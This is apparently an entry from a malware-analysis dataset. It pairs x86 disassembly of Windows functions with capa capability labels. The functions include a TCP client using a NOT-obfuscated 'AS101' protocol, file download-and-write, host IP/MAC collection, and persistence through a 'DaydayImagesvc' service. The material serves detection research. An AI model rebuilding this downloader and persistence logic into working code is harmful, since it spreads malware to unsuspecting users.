joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404680
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x10], 0x3a98
mov eax, dword [esp + 0x10]
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4046f9
lea ecx, [esp + 0x10]
push ecx
push esi
push 0
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x4046d1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc ebx
cmp edi, 0x6f
jne 0x404702
cmp ebx, 3
jb 0x404695
mov edi, 0xfffffffd
test esi, esi
je 0x4046f1
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
test edi, edi
jne 0x4046dc
mov eax, esi
test esi, esi
je 0x40476e
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x40471c
cmp dword [eax + 0x1c], 0
jne 0x404727
mov eax, dword [eax + 8]
test eax, eax
jne 0x404711
xor edi, edi
jmp 0x4046e1
mov edx, dword [eax + 0x2c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [esp + 0x1c]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x4046e1

Function at 0x4049b0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebp
push ebx
push edi
call fcn.00404ae0
mov ebp, eax
add esp, 8
test ebp, ebp
jne 0x404ac0
push esi
push 0x206
push eax
lea ecx, [esp + 0x12]
push ecx
mov word [esp + 0x14], ax
call fcn.00409230
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x226]
push eax
mov word [esp + 0x228], dx
call fcn.00409230
add esp, 0x18
lea ecx, [esp + 8]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x419e30
cmp word [esi], 0
je 0x404a57
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x214]
push 0x104
push eax
call fcn.00405792
push esi
lea ecx, [esp + 0x220]
push 0x104
push ecx
call fcn.00405715
add esp, 0x18
add esi, 0x118
cmp esi, 0x41a3a8
jl 0x404a24
mov esi, 0x419e30
lea ebx, [ebx]
cmp word [esi], 0
je 0x404a83
push 1
push ebx
push edi
push esi
call fcn.00405330
add esp, 0x10
add esi, 0x118
cmp esi, 0x41a3a8
jl 0x404a70
push 0x41abc0
lea edx, [esp + 0xc]
push 0x104
push edx
call fcn.00405715
add esp, 0xc
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
pop esi
cmp eax, 0xffffffff
jne 0x404abe
mov ebp, 2
mov eax, ebp
mov ecx, dword [esp + 0x414]
pop ebp
xor ecx, esp
call fcn.00405706
add esp, 0x414
ret
Function at 0x404ce0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x404d0d
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404d3f
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00405706
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x404d2a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404d7b
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x404dcd
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404dcd
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.00405706
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x404ddc
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00405706
mov esp, ebp
pop ebp
ret

Function at 0x404f40
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
cmp dword [ecx], eax
je 0x404fc2
cmp edi, eax
jle 0x404f6d
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
inc eax
cmp eax, edi
jl 0x404f60
lea ebx, [edi + 7]
push ebx
call fcn.00406a2f
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x419078]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00409df0
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404fc6
cmp eax, ebx
jne 0x404fc6
mov dword [esp + 0xc], 1
jmp 0x404fc6
mov esi, dword [esp + 0x14]
test esi, esi
je 0x404fd3
push esi
call fcn.00406dfa
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4051a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x8d8
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x8d4], eax
mov eax, dword [esp + 0x8e0]
push ebp
mov ebp, dword [esp + 0x8e0]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x8e8]
push esi
push edi
mov dword [esp + 0x10], edx
lea ecx, [esp + 0xe0]
test eax, eax
je 0x4051e1
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [ebp]
xor edi, edi
mov dword [esp + 0xc], edi
test esi, esi
je 0x4052fd
test edx, edx
je 0x4052fd
push 0xc7
lea ecx, [esp + 0x1d]
push edi
push ecx
mov byte [esp + 0x24], al
call fcn.00409230
add esp, 0xc
push edi
push 2
lea edx, [esp + 0x20]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x405315
test eax, eax
je 0x405315
movzx edi, word [esp + 0x18]
lea eax, [edi + 2]
push ebx
push eax
xor esi, esi
call fcn.00406a2f
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4052eb
mov eax, dword [ebp]
push 0
mov ecx, edi
sub ecx, esi
push ecx
lea edx, [esi + ebx]
push edx
push eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4052c9
test eax, eax
je 0x4052c9
add esi, eax
cmp edi, esi
jg 0x405254
cmp esi, 5
jl 0x4052eb
mov ecx, dword [str.AS101]
sub esi, 5
cmp ecx, dword [ebx]
jne 0x4052eb
mov dl, byte [ebx + 4]
cmp dl, byte [0x419078]
jne 0x4052eb
test esi, esi
jle 0x4052ac
lea eax, [ebx + 5]
mov edi, esi
mov edi, edi
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
sub edi, 1
jne 0x4052a0
mov edi, dword [esp + 0x18]
mov eax, dword [edi]
cmp eax, esi
jl 0x4052d1
mov eax, dword [esp + 0x14]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00409df0
mov dword [edi], esi
jmp 0x4052e0
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4052eb
mov edx, dword [esp + 0x14]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00409df0
add esp, 0xc
mov dword [esp + 0x10], 1
test ebx, ebx
je 0x4052f8
push ebx
call fcn.00406dfa
add esp, 4
mov eax, dword [esp + 0x10]
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x8d4]
xor ecx, esp
call fcn.00405706
add esp, 0x8d8
ret
mov ecx, dword [esp + 0x8e0]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00405706
add esp, 0x8d8
ret
Function at 0x405330
Capabilities:
Get common file path

Disassembly:
sub esp, 0xe20
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0xe1c], eax
mov eax, dword [esp + 0xe28]
push ebp
mov ebp, dword [esp + 0xe28]
push 0x400
lea ecx, [esp + 0x224]
push 0
push ecx
mov dword [esp + 0x20], eax
call fcn.00409230
push ebp
lea edx, [esp + 0x230]
push 0x1ff
push edx
call fcn.00405792
mov eax, ebp
add esp, 0x18
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405386
push ebx
sub eax, edx
push esi
sar eax, 1
push edi
lea edi, [esp + eax*2 + 0x22e]
mov ecx, 0x80
mov esi, 0x41a9c0
mov eax, ebp
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4053b0
sub eax, edx
sar eax, 1
push 0x10000
lea ebx, [eax + eax + 0x202]
call fcn.004063dc
push 0x10000
xor esi, esi
mov ebp, eax
push esi
push ebp
call fcn.00409230
push 0x7fe
lea ecx, [esp + 0x642]
xor eax, eax
push esi
push ecx
mov dword [esp + 0x34], 0x10000
mov word [esp + 0x648], ax
call fcn.00409230
push 0x206
lea eax, [esp + 0x46]
xor edx, edx
push esi
push eax
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x44], esi
mov word [esp + 0x4c], dx
call fcn.00409230
add esp, 0x28
cmp dword [esp + 0xe40], esi
je 0x405446
lea ecx, [esp + 0x24]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x405464
lea esi, [esp + 0x24]
call fcn.00405580
push 0x415d90
mov edx, esi
push 0x103
push edx
call fcn.00405715
add esp, 0xc
mov ecx, dword [esp + 0xe3c]
mov edi, dword [esp + 0x20]
lea eax, [esp + 0x62c]
push eax
push ecx
lea esi, [esp + 0x1c]
call fcn.00404ce0
add esp, 8
test eax, eax
je 0x40553f
lea edx, [esp + 0x62c]
push edx
push ebx
push 0xbba
lea ecx, [esp + 0x238]
mov edx, esi
call fcn.00404e00
add esp, 0xc
test eax, eax
je 0x40553f
lea eax, [esp + 0x62c]
push eax
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x24]
push edx
mov ecx, ebp
mov edx, esi
call fcn.00404fe0
add esp, 0xc
test eax, eax
je 0x40553f
mov eax, 0xbba
cmp word [esp + 0x1c], ax
jne 0x40553f
cmp dword [esp + 0x18], 0
je 0x40553f
cmp byte [ebp], 0
jne 0x40553f
push 0x41abc0
lea ecx, [esp + 0x28]
push 0x104
push ecx
call fcn.00405715
push 0x415d94
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [esp + 0x28], 0
call fcn.00405a67
add esp, 0x18
cmp dword [esp + 0x10], 0
je 0x405537
lea ecx, [esp + 0x10]
push ecx
mov edi, esi
call fcn.004055e0
add esp, 4
mov dword [esp + 0x10], 1
pop edi
pop esi
pop ebx
test ebp, ebp
je 0x40554f
push ebp
call fcn.004064a6
add esp, 4
mov eax, dword [esp + 8]
pop ebp
test eax, eax
je 0x40555f
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [esp + 0xe1c]
mov eax, dword [esp]
xor ecx, esp
call fcn.00405706
add esp, 0xe20
ret
Function at 0x4055e0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.0040fd40
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [edi]
mov eax, dword [esp + 0x1010]
push ebx
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x405638
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.00405706
add esp, 0x100c
ret
cmp dword [esp + 8], ebx
jbe 0x405677
push esi
nop
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x405676
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00405fcc
add ebx, esi
add esp, 0x10
cmp ebx, dword [esp + 0xc]
jb 0x405640
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.00405dee
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp ebx, dword [esp + 8]
pop ebp
sbb eax, eax
pop ebx
xor ecx, esp
inc eax
call fcn.00405706
add esp, 0x100c
ret

Function at 0x405706
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41804c]
jne 0x405710
repz ret
jmp fcn.00407098
Function at 0x41014f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040aeb4
and dword [ebp - 4], 0
cmp dword [0x419b2c], 0
mov ebx, eax
jne 0x410200
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4102b1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4102b1
push eax
call fcn.0040ae42
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x419b2c], eax
call esi
push eax
call fcn.0040ae42
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x419b30], eax
call esi
push eax
call fcn.0040ae42
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x419b34], eax
call esi
push eax
call fcn.0040ae42
pop ecx
mov dword [0x419b3c], eax
test eax, eax
je 0x410200
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ae42
pop ecx
mov dword [0x419b38], eax
mov eax, dword [0x419b38]
cmp eax, ebx
je 0x410258
cmp dword [0x419b3c], ebx
je 0x410258
push eax
call fcn.0040aebd
push dword [0x419b3c]
mov esi, eax
call fcn.0040aebd
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x410258
test edi, edi
je 0x410258
call esi
test eax, eax
je 0x41024f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x41024f
test byte [ebp - 0xc], 1
jne 0x410258
or dword [ebp + 0x10], 0x200000
jmp 0x410291
mov eax, dword [0x419b30]
cmp eax, ebx
je 0x410291
push eax
call fcn.0040aebd
pop ecx
test eax, eax
je 0x410291
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410291
mov eax, dword [0x419b34]
cmp eax, ebx
je 0x410291
push eax
call fcn.0040aebd
pop ecx
test eax, eax
je 0x410291
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x419b2c]
call fcn.0040aebd
pop ecx
test eax, eax
je 0x4102b1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4102b3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402240
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
mov eax, dword [0x41d010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x9e
push eax
mov word [ebp - 0xa4], ax
lea eax, [ebp - 0xa2]
push eax
call fcn.00406ba0
add esp, 0xc
push str.DaydayImagesvc
push 0
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov esi, eax
test esi, esi
je 0x4022e3
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RegisterServiceCtrlHandler
push str._s_failed_with__d
lea eax, [ebp - 0xa4]
push 0x50
push eax
call fcn.00401fc0
add esp, 0x14
mov dword [ebp - 0xac], str.DaydayImagesvc
lea eax, [ebp - 0xa4]
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xac]
push 0
push eax
push 0
push 2
push 0
push 0xc0020100
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004044b0
mov esp, ebp
pop ebp
ret

Function at 0x402350
Capabilities:
Create service
Delete service
Modify service
Persist via windows service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d010]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x4023b0
test esi, esi
jne 0x4023d8
push esi
push esi
push esi
push esi
push esi
push 0x41f318
push 1
push 2
push 0x10
push 0xf01ff
push str.DaydayImage_Service
push str.DaydayImagesvc
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x4023c2
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], str.DaydayImage_Service
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
jmp 0x402414
push 0xf01ff
push str.DaydayImagesvc
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x4023a9
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x1c], 1
je 0x40240d
lea eax, [ebp - 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.004044b0
mov esp, ebp
pop ebp
ret
Function at 0x402540
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x41d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0xf003f
push 0
push 0
mov ebx, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x402579
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
push esi
push 0xf01ff
push str.DaydayImagesvc
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x4025ab
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x4025d9
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x1c]
dec eax
je 0x4025f7
sub eax, 3
jne 0x402607
test ebx, ebx
je 0x402607
lea eax, [ebp - 0x3c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
jmp 0x402607
cmp ebx, 1
je 0x402607
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.004044b0
mov esp, ebp
pop ebp
ret

Function at 0x402630
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x41d010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov ebx, 3
call fcn.00402730
push 0xf003f
test eax, eax
mov ecx, 2
push 0
push 0
cmovne ebx, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x40267b
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
push esi
push 0xf01ff
push str.DaydayImagesvc
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x4026ad
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
push 0
push 0x41f318
push 1
push ebx
push 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
jne 0x4026ed
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
pop edi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], str.DaydayImage_Service
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.004044b0
mov esp, ebp
pop ebp
ret
Function at 0x402820
Capabilities:
Modify service

Disassembly:
push ebx
push edi
push 0xf003f
test ecx, ecx
mov eax, 2
push 0
mov ebx, 3
push 0
cmovne ebx, eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x402849
pop edi
pop ebx
ret
push esi
push 0xf01ff
push str.DaydayImagesvc
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x40286e
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
pop edi
xor eax, eax
pop ebx
ret
push 0
push 0
push 0
push 0
push 0
push 0
push 0x41f318
push 1
push ebx
push 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x4028a1
call esi
push edi
call esi
pop esi
pop edi
xor eax, eax
pop ebx
ret
call esi
push edi
call esi
pop esi
pop edi
mov eax, 1
pop ebx
ret
Function at 0x403560
Capabilities:
Create thread
Get session information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x41d010]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call fcn.004037d0
test eax, eax
jne 0x40359c
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
push esi
call fcn.00403870
mov esi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x4035c3
lea esp, [esp]
push 0x32
push dword [0x41f524]
call esi
call fcn.00403870
test eax, eax
je 0x4035b0
push ebx
push edi
call fcn.004030f0
call fcn.00402f90
mov edi, eax
call fcn.00402f90
mov ebx, eax
mov eax, dword [0x41f520]
test eax, eax
jne 0x4035f2
push eax
push 1
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x41f520], eax
push 0xffffffffffffffff
push eax
call esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
call fcn.00403c00
cmp dword [eax], 1
jne 0x40360c
xor esi, esi
jmp 0x403623
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
push eax
call fcn.00403c00
mov esi, 1
mov dword [eax], 1
push dword [0x41f520]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test esi, esi
jne 0x403646
pop edi
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004044b0
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 4
push edi
push 0
call dword [sym.imp.WTSAPI32.dll_WTSQuerySessionInformationW]
test eax, eax
je 0x403669
mov eax, dword [ebp - 0x10]
push eax
mov edi, dword [eax]
call dword [sym.imp.WTSAPI32.dll_WTSFreeMemory]
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.WTSAPI32.dll_WTSQueryUserToken]
mov edi, 1
test eax, eax
je 0x4036c1
mov ecx, dword [ebp - 0xc]
call fcn.00403010
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
mov eax, 0
mov dword [0x41f548], edi
cmovne eax, edi
test eax, eax
jne 0x4036b0
push 0
push 0
push 0
push 0x403b40
push 0
push 0
call esi
push 0
push 0
push 0
push 0x403a40
push 0
push 0
call esi
mov ecx, dword [ebp - 0xc]
test ecx, ecx
je 0x4036cf
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop ebx
xor ecx, ebp
pop esi
call fcn.004044b0
mov esp, ebp
pop ebp
ret